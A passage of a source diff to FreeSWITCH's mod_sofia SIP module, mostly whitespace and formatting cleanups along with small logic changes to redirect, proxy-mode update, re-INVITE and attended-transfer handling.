switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Missing contact header in redirect request\n");
goto end;
@@ -3688,7 +3713,7 @@
const char *sip_redirect_profile, *sip_redirect_context, *sip_redirect_dialplan, *sip_redirect_fork;
- if ((a_session = switch_core_session_locate(br)) && (a_channel = switch_core_session_get_channel(a_session))) {
+ if ((a_session = switch_core_session_locate(br)) && (a_channel = switch_core_session_get_channel(a_session))) {
switch_stream_handle_t stream = { 0 };
char separator[2] = "|";
char *redirect_dialstring;
@@ -3708,7 +3733,7 @@
}
sip_redirect_fork = switch_channel_get_variable(channel, "sip_redirect_fork");
-
+
if (switch_true(sip_redirect_fork)) {
*separator = ',';
}
@@ -3717,15 +3742,15 @@
if (p_contact->m_url) {
full_contact = sip_header_as_string(home, (void *) p_contact);
invite_contact = sofia_glue_strip_uri(full_contact);
-
+
switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_%d", i);
switch_channel_set_variable(a_channel, var_name, full_contact);
-
+
if (i == 0) {
switch_channel_set_variable(channel, "sip_redirected_to", full_contact);
switch_channel_set_variable(a_channel, "sip_redirected_to", full_contact);
}
-
+
if (p_contact->m_url->url_user) {
switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_user_%d", i);
switch_channel_set_variable(channel, var_name, p_contact->m_url->url_user);
@@ -3741,7 +3766,7 @@
switch_channel_set_variable(channel, var_name, p_contact->m_url->url_params);
switch_channel_set_variable(a_channel, var_name, p_contact->m_url->url_params);
}
-
+
switch_snprintf(var_name, sizeof(var_name), "sip_redirect_dialstring_%d", i);
switch_channel_set_variable_printf(channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
switch_channel_set_variable_printf(a_channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
@@ -3750,28 +3775,29 @@
i++;
}
}
-
+
redirect_dialstring = stream.data;
-
+
switch_channel_set_variable(channel, "sip_redirect_dialstring", redirect_dialstring);
switch_channel_set_variable(a_channel, "sip_redirect_dialstring", redirect_dialstring);
-
+
p_contact = sip->sip_contact;
full_contact = sip_header_as_string(home, (void *) sip->sip_contact);
-
+
if ((diversion_header = sofia_glue_get_unknown_header(sip, "diversion"))) {
switch_channel_set_variable(channel, "sip_redirected_by", diversion_header);
switch_channel_set_variable(a_channel, "sip_redirected_by", diversion_header);
}
-
+
if (sofia_test_pflag(profile, PFLAG_MANUAL_REDIRECT)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s %s %s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s %s %s\n",
p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
- switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
+ switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
} else if ((!strcmp(profile->sipip, p_contact->m_url->url_host))
|| (profile->extsipip && !strcmp(profile->extsipip, p_contact->m_url->url_host))
|| (switch_xml_locate_domain(p_contact->m_url->url_host, NULL, &root, &domain) == SWITCH_STATUS_SUCCESS)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s\n", p_contact->m_url->url_user);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s\n",
+ p_contact->m_url->url_user);
switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, NULL, NULL);
switch_xml_free(root);
} else {
@@ -3779,7 +3805,7 @@
tech_pvt->redirected = switch_core_session_strdup(session, invite_contact);
free(invite_contact);
}
-
+
if (home) {
su_home_unref(home);
home = NULL;
@@ -3808,39 +3834,37 @@
if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
- if (!sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
- goto end;
- }
+ if (sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
+ sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
- sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
+ if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
+ const char *r_sdp = NULL;
+ switch_core_session_message_t *msg;
- if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
- const char *r_sdp = NULL;
- switch_core_session_message_t *msg;
+ if (sip->sip_payload && sip->sip_payload->pl_data &&
+ sip->sip_content_type && sip->sip_content_type->c_subtype && switch_stristr("sdp", sip->sip_content_type->c_subtype)) {
+ tech_pvt->remote_sdp_str = switch_core_session_strdup(tech_pvt->session, sip->sip_payload->pl_data);
+ r_sdp = tech_pvt->remote_sdp_str;
+ sofia_glue_tech_proxy_remote_addr(tech_pvt);
+ }
- if (sip->sip_payload && sip->sip_payload->pl_data &&
- sip->sip_content_type && sip->sip_content_type->c_subtype && switch_stristr("sdp", sip->sip_content_type->c_subtype)) {
- tech_pvt->remote_sdp_str = switch_core_session_strdup(tech_pvt->session, sip->sip_payload->pl_data);
- r_sdp = tech_pvt->remote_sdp_str;
- sofia_glue_tech_proxy_remote_addr(tech_pvt);
- }
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing %d %s to other leg\n", status, phrase);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing %d %s to other leg\n", status, phrase);
+ msg = switch_core_session_alloc(other_session, sizeof(*msg));
+ msg->message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
+ msg->from = __FILE__;
+ msg->numeric_arg = status;
+ msg->string_arg = switch_core_session_strdup(other_session, phrase);
+ if (r_sdp) {
+ msg->pointer_arg = switch_core_session_strdup(other_session, r_sdp);
+ msg->pointer_arg_size = strlen(r_sdp);
+ }
- msg = switch_core_session_alloc(other_session, sizeof(*msg));
- msg->message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
- msg->from = __FILE__;
- msg->numeric_arg = status;
- msg->string_arg = switch_core_session_strdup(other_session, phrase);
- if (r_sdp) {
- msg->pointer_arg = switch_core_session_strdup(other_session, r_sdp);
- msg->pointer_arg_size = strlen(r_sdp);
+ switch_core_session_queue_message(other_session, msg);
+ switch_core_session_rwunlock(other_session);
}
-
- switch_core_session_queue_message(other_session, msg);
- switch_core_session_rwunlock(other_session);
+ goto end;
}
- goto end;
}
if ((status == 180 || status == 183 || status == 200)) {
@@ -3866,7 +3890,7 @@
const char *from_user = "", *from_host = "", *to_user = "", *to_host = "", *contact_user = "", *contact_host = "";
const char *user_agent = "", *call_id = "";
char *sql = NULL;
-
+
if (sip->sip_user_agent) {
user_agent = switch_str_nil(sip->sip_user_agent->g_string);
}
@@ -3909,33 +3933,38 @@
"values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
call_id,
switch_core_session_get_uuid(session),
- to_user, to_host, from_user, from_host, contact_user,
+ to_user, to_host, from_user, from_host, contact_user,
contact_host, astate, "outbound", user_agent,
profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
-
+
switch_assert(sql);
sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
switch_safe_free(sql);
- }
+ }
} else if (status == 200 && (profile->pres_type)) {
char *sql = NULL;
const char *presence_data = switch_channel_get_variable(channel, "presence_data");
const char *presence_id = switch_channel_get_variable(channel, "presence_id");
sql = switch_mprintf("update sip_dialogs set state='%q',presence_id='%q',presence_data='%q' "
- "where uuid='%s';\n", astate, switch_str_nil(presence_id), switch_str_nil(presence_data),
+ "where uuid='%s';\n", astate, switch_str_nil(presence_id), switch_str_nil(presence_data),
switch_core_session_get_uuid(session));
switch_assert(sql);
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
}
+
+ extract_header_vars(profile, sip, session);
+ extract_vars(profile, sip, session);
+ sofia_glue_tech_track(tech_pvt->profile, session);
+ sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
}
}
- end:
+ end:
if (call_info) {
su_free(nua_handle_home(nh), call_info);
@@ -3954,16 +3983,16 @@
{
switch_core_session_t *other_session = NULL, *session = (switch_core_session_t *) obj;
const char *uuid;
-
+
if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
switch_channel_t *channel = switch_core_session_get_channel(session);
private_object_t *tech_pvt = switch_core_session_get_private(session);
-
+
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
if (switch_core_session_compare(session, other_session)) {
sofia_set_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
switch_ivr_media(switch_core_session_get_uuid(other_session), SMF_REBRIDGE);
-
+
if (tech_pvt->rtp_session) {
switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
}
@@ -3975,7 +4004,7 @@
switch_core_session_rwunlock(session);
}
-
+
return NULL;
}
@@ -4031,11 +4060,11 @@
if (status > 100 && status < 300 && tech_pvt && !sofia_use_soa(tech_pvt) && !r_sdp && tech_pvt->last_sdp_str) {
r_sdp = tech_pvt->last_sdp_str;
}
-
- if ((channel && (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) ||
+
+ if ((channel && (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) ||
(sofia_test_flag(profile, TFLAG_INB_NOMEDIA) || sofia_test_flag(profile, TFLAG_PROXY_MEDIA))) {
- /* This marr in our code brought to you by people who can't read........*/
+ /* This marr in our code brought to you by people who can't read........ */
if (profile->ndlb & PFLAG_NDLB_ALLOW_BAD_IANANAME && r_sdp && (p = (char *) switch_stristr("g729a/8000", r_sdp))) {
p += 4;
*p++ = '/';
@@ -4053,12 +4082,12 @@
if ((status == 300 || status == 302 || status == 305) && session) {
channel = switch_core_session_get_channel(session);
tech_pvt = switch_core_session_get_private(session);
-
+
if (!tech_pvt || !tech_pvt->nh) {
goto done;
}
-
+
if (tech_pvt->redirected) {
sofia_glue_do_invite(session);
goto done;
@@ -4071,8 +4100,7 @@
}
if (session) {
- if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) &&
- (status == 180 || status == 183)) {
+ if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) && (status == 180 || status == 183)) {
/* Must you send 180 after 183 w/sdp ? sheesh */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel %s skipping state [%s][%d]\n",
switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
@@ -4081,11 +4109,11 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel %s entering state [%s][%d]\n",
switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
-
+
if (r_sdp) {
sdp_parser_t *parser;
sdp_session_t *sdp;
-
+
if (!zstr(tech_pvt->remote_sdp_str) && !strcmp(tech_pvt->remote_sdp_str, r_sdp)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Duplicate SDP\n%s\n", r_sdp);
is_dup_sdp = 1;
@@ -4111,12 +4139,12 @@
if (status == 183 && !r_sdp) {
status = 180;
- }
-
+ }
+
if (status == 180 && r_sdp) {
status = 183;
}
-
+
if (channel && (status == 180 || status == 183) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
const char *val;
if ((val = switch_channel_get_variable(channel, "sip_auto_answer")) && switch_true(val)) {
@@ -4134,8 +4162,8 @@
case nua_callstate_received:
case nua_callstate_proceeding:
case nua_callstate_completing:
- if (!(session && channel && tech_pvt)) goto done;
- break;
+ if (!(session && channel && tech_pvt))
+ goto done;
default:
break;
}
@@ -4151,7 +4179,7 @@
if (status == 180) {
switch_channel_mark_ring_ready(channel);
}
-
+
if (r_sdp) {
if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
if (switch_channel_test_flag(channel, CF_PROXY_MEDIA) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
@@ -4190,9 +4218,7 @@
}
break;
case nua_callstate_completing:
- nua_ack(nh,
- TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_END());
+ nua_ack(nh, TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
goto done;
case nua_callstate_received:
if (!sofia_test_flag(tech_pvt, TFLAG_SDP)) {
@@ -4299,15 +4325,13 @@
SIPTAG_CONTACT_STR(tech_pvt->profile->url),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
SOATAG_REUSE_REJECTED(1),
- SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
+ SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTACT_STR(tech_pvt->profile->url),
- SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_END());
+ SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
}
} else if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
//3PCC proxy mode delays the 200 OK until the call is answered
@@ -4348,7 +4372,7 @@
if (r_sdp) {
const char *var;
-
+
if ((var = switch_channel_get_variable(channel, "sip_ignore_reinvites")) && switch_true(var)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ignoring Re-invite\n");
nua_respond(tech_pvt->nh, SIP_200_OK, TAG_END());
@@ -4363,13 +4387,13 @@
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
&& (other_session = switch_core_session_locate(uuid))) {
switch_core_session_message_t *msg;
-
+
if (switch_channel_test_flag(channel, CF_PROXY_MODE) && !is_t38 && profile->media_options & MEDIA_OPT_MEDIA_ON_HOLD) {
tech_pvt->hold_laps = 1;
switch_channel_set_variable(channel, SWITCH_R_SDP_VARIABLE, r_sdp);
switch_channel_clear_flag(channel, CF_PROXY_MODE);
sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
-
+
if (!switch_channel_media_ready(channel)) {
if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
//const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
@@ -4394,34 +4418,32 @@
}
}
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
-
+
if (sofia_use_soa(tech_pvt)) {
nua_respond(tech_pvt->nh, SIP_200_OK,
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
SOATAG_REUSE_REJECTED(1),
- SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
+ SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
- SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_END());
+ SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
}
launch_media_on_hold(session);
-
+
switch_core_session_rwunlock(other_session);
goto done;
}
-
+
msg = switch_core_session_alloc(other_session, sizeof(*msg));
msg->message_id = SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT;
msg->from = __FILE__;
msg->string_arg = switch_core_session_strdup(other_session, r_sdp);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing SDP to other leg.\n%s\n", r_sdp);
-
+
if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
if (!switch_stristr("sendonly", r_sdp)) {
sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
@@ -4430,7 +4452,7 @@
}
} else if (switch_stristr("sendonly", r_sdp)) {
const char *msg = "hold";
-
+
if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
const char *info = switch_channel_get_variable(channel, "presence_call_info");
if (info) {
@@ -4444,12 +4466,12 @@
switch_channel_set_flag(channel, CF_LEG_HOLDING);
switch_channel_presence(tech_pvt->channel, "unknown", msg, NULL);
}
-
+
switch_core_session_queue_message(other_session, msg);
switch_core_session_rwunlock(other_session);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Re-INVITE to a no-media channel that is not in a bridge.\n");
is_ok = 0;
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -4457,7 +4479,7 @@
goto done;
} else {
sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
-
+
if (tech_pvt->num_codecs) {
if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
if ((sdp = sdp_session(parser))) {
@@ -4471,7 +4493,7 @@
goto done;
}
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
-
+
if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Reinvite RTP Error!\n");
is_ok = 0;
@@ -4484,8 +4506,8 @@
is_ok = 0;
}
}
-
-
+
+
if (is_ok) {
if (tech_pvt->local_crypto_key) {
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
@@ -4495,15 +4517,13 @@
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
SOATAG_REUSE_REJECTED(1),
- SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
+ SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_MEDIA_ENABLE(0),
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
- SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_END());
+ SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
}
if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_REINVITE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(session));
@@ -4523,7 +4543,7 @@
uint8_t match = 0;
sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
-
+
if (tech_pvt->num_codecs) {
if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
if ((sdp = sdp_session(parser))) {
@@ -4537,7 +4557,7 @@
goto done;
}
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Processing updated SDP\n");
if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error!\n");
@@ -4606,12 +4626,12 @@
}
goto done;
}
-
+
if (channel) {
- if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
- sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
- sofia_set_flag(tech_pvt, TFLAG_SDP);
- switch_channel_mark_answered(channel);
+ if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
+ sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+ sofia_set_flag(tech_pvt, TFLAG_SDP);
+ switch_channel_mark_answered(channel);
if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
&& (other_session = switch_core_session_locate(uuid))) {
@@ -4620,9 +4640,9 @@
switch_core_session_rwunlock(other_session);
}
}
- goto done;
- }
-
+ goto done;
+ }
+
if (!r_sdp && !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
r_sdp = (const char *) switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
}
@@ -4675,7 +4695,7 @@
if (sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
/* Check if we are in 3PCC proxy mode, if so then set the flag to indicate we received the ack */
- if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY )) {
+ if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Got my ACK\n");
sofia_set_flag(tech_pvt, TFLAG_3PCC_HAS_ACK);
} else if (switch_channel_get_state(channel) == CS_HIBERNATE) {
@@ -4725,21 +4745,21 @@
switch_channel_set_variable(channel, "sip_term_cause", st);
switch_channel_hangup(channel, cause);
}
-
+
if (ss_state == nua_callstate_terminated) {
if (tech_pvt->sofia_private) {
tech_pvt->sofia_private = NULL;
}
-
+
tech_pvt->nh = NULL;
-
+
if (nh) {
nua_handle_bind(nh, NULL);
nua_handle_destroy(nh);
}
}
-
+
break;
}
@@ -4763,7 +4783,7 @@
switch_memory_pool_t *pool;
switch_status_t status = SWITCH_STATUS_FALSE;
switch_core_session_t *session, *a_session;
-
+
if ((a_session = switch_core_session_locate(nhelper->bridge_to_uuid))) {
switch_core_session_t *tsession = NULL;
switch_call_cause_t cause = SWITCH_CAUSE_NORMAL_CLEARING;
@@ -4775,8 +4795,7 @@
switch_channel_t *channel_a = switch_core_session_get_channel(session);
if ((status = switch_ivr_originate(NULL, &tsession, &cause, nhelper->exten_with_params, timeout, NULL, NULL, NULL,
- switch_channel_get_caller_profile(channel_a),
- nhelper->vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
+ switch_channel_get_caller_profile(channel_a), nhelper->vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
if (switch_channel_up(channel_a)) {
tuuid_str = switch_core_session_get_uuid(tsession);
switch_ivr_uuid_bridge(nhelper->bridge_to_uuid, tuuid_str);
@@ -4797,7 +4816,7 @@
nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
NUTAG_SUBSTATE(nua_substate_terminated),
- SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? "SIP/2.0 200 OK\r\n":
+ SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? "SIP/2.0 200 OK\r\n" :
"SIP/2.0 403 Forbidden\r\n"), SIPTAG_EVENT_STR(nhelper->event), TAG_END());
switch_core_session_rwunlock(session);
@@ -4836,10 +4855,10 @@
if (state == CS_HANGUP) {
switch_core_session_t *ksession;
const char *uuid = switch_channel_get_variable(channel, "att_xfer_kill_uuid");
-
+
if (uuid && (ksession = switch_core_session_force_locate(uuid))) {
switch_channel_t *kchannel = switch_core_session_get_channel(ksession);
-
+
switch_channel_clear_flag(kchannel, CF_XFER_ZOMBIE);
switch_channel_clear_flag(kchannel, CF_TRANSFER);
if (switch_channel_up(kchannel)) {
@@ -4861,8 +4880,8 @@
nua_handle_t *nh = NULL;
switch_hash_index_t *hi;
const void *var;
- void *val;
- sofia_profile_t *profile;
+ void *val;
+ sofia_profile_t *profile;
switch_xml_t xml_root;
const char *err;
@@ -4873,18 +4892,19 @@
switch_mutex_lock(mod_sofia_globals.hash_mutex);
if (mod_sofia_globals.profile_hash) {
- for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+ for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
- if ((profile = (sofia_profile_t *) val)) {
+ if ((profile = (sofia_profile_t *) val)) {
if (!(nh = nua_handle_by_replaces(profile->nua, replaces))) {
nh = nua_handle_by_call_id(profile->nua, replaces->rp_call_id);
}
- if (nh) break;
+ if (nh)
+ break;
}
}
}
switch_mutex_unlock(mod_sofia_globals.hash_mutex);
-
+
return nh;
}
@@ -4922,9 +4942,7 @@
home = su_home_new(sizeof(*home));
switch_assert(home != NULL);
- nua_respond(nh, SIP_202_ACCEPTED,
- NUTAG_WITH_THIS(nua),
- SIPTAG_EXPIRES_STR("60"), TAG_END());
+ nua_respond(nh, SIP_202_ACCEPTED, NUTAG_WITH_THIS(nua), SIPTAG_EXPIRES_STR("60"), TAG_END());
if (sip->sip_referred_by) {
full_ref_by = sip_header_as_string(home, (void *) sip->sip_referred_by);
@@ -4942,10 +4960,10 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Process REFER to [%s@%s]\n", exten, (char *) refer_to->r_url->url_host);
- if (refer_to->r_url->url_headers && (rep = (char *)switch_stristr("Replaces=", refer_to->r_url->url_headers))) {
+ if (refer_to->r_url->url_headers && (rep = (char *) switch_stristr("Replaces=", refer_to->r_url->url_headers))) {
sip_replaces_t *replaces;
nua_handle_t *bnh = NULL;
-
+
if (rep) {
const char *br_a = NULL, *br_b = NULL;
char *buf;
@@ -4956,7 +4974,7 @@
if ((p = strchr(rep, ';'))) {
*p = '\0';
}
-
+
if ((buf = switch_core_session_alloc(session, strlen(rep) + 1))) {
rep = url_unescape(buf, (const char *) rep);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Replaces: [%s]\n", rep);
@@ -4964,7 +4982,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
goto done;
}
-
+
if ((replaces = sip_replaces_make(home, rep))) {
if (!(bnh = nua_handle_by_replaces(nua, replaces))) {
if (!(bnh = nua_handle_by_call_id(nua, replaces->rp_call_id))) {
@@ -4989,7 +5007,7 @@
br_a = switch_channel_get_variable(channel_a, SWITCH_SIGNAL_BOND_VARIABLE);
br_b = switch_channel_get_variable(channel_b, SWITCH_SIGNAL_BOND_VARIABLE);
-
+
if (!switch_ivr_uuid_exists(br_a)) {
br_a = NULL;
}
@@ -4997,18 +5015,18 @@
if (!switch_ivr_uuid_exists(br_b)) {
br_b = NULL;
}
-
+
if (switch_channel_test_flag(channel_b, CF_ORIGINATOR)) {
switch_core_session_t *a_session;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,
"Attended Transfer on originating session %s\n", switch_core_session_get_uuid(b_session));
-
-
+
+
switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
-
-
+
+
sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
@@ -5016,8 +5034,8 @@
switch_channel_set_variable(channel_b, SWITCH_HOLDING_UUID_VARIABLE, br_a);
switch_channel_set_flag(channel_b, CF_XFER_ZOMBIE);
switch_channel_set_flag(channel_b, CF_TRANSFER);
-
-
+
+
if ((a_session = switch_core_session_locate(br_a))) {
const char *moh = profile->hold_music;
switch_channel_t *a_channel = switch_core_session_get_channel(a_session);
@@ -5029,11 +5047,11 @@
if ((tmp = switch_channel_get_variable(a_channel, SWITCH_HOLD_MUSIC_VARIABLE))) {
moh = tmp;
}
-
+
if (!zstr(moh) && !strcasecmp(moh, "silence")) {
moh = NULL;
}
-
+
if (moh) {
char *xdest;
xdest = switch_core_session_sprintf(a_session, "endless_playback:%s,park", moh);
@@ -5041,26 +5059,26 @@
} else {
switch_ivr_session_transfer(a_session, "park", "inline", NULL);
}
-
+
switch_core_session_rwunlock(a_session);
